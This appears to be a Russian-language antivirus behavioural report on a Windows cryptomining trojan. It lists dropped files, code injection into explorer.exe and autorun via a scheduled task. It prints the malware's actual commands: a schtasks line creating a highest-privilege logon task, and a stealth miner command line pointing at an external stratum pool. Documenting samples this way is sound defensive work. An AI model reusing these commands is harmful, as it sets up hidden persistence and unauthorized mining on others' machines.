Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\remoteapplifetimemanager
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\explorer.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\remoteapplifetimemanager.exe
- %APPDATA%\microsoft\inc\sihost32.exe
Другое
Создает и запускает на исполнение
- '%APPDATA%\microsoft\inc\sihost32.exe'
- '%TEMP%\remoteapplifetimemanager.exe'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "RemoteAppLifetimeManager" /tr '"%TEMP%\RemoteAppLifetimeManager.exe"' & exit' (со скрытым окном)
- '%APPDATA%\microsoft\inc\sihost32.exe' ' (со скрытым окном)
- '%TEMP%\remoteapplifetimemanager.exe' ' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "RemoteAppLifetimeManager" /tr '"%TEMP%\RemoteAppLifetimeManager.exe"' & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /tn "RemoteAppLifetimeManager" /tr '"%TEMP%\RemoteAppLifetimeManager.exe"'
- '%WINDIR%\explorer.exe' --cinit-find-e --pool=stratum://`gmclogs.[WORKER]`@eth.hashcity.org:7777 --cinit-max-gpu=40 --response-timeout=30 --farm-retries=30 --cinit-idle-wait=2 --cinit-idle-gpu=80 --cinit-stealth
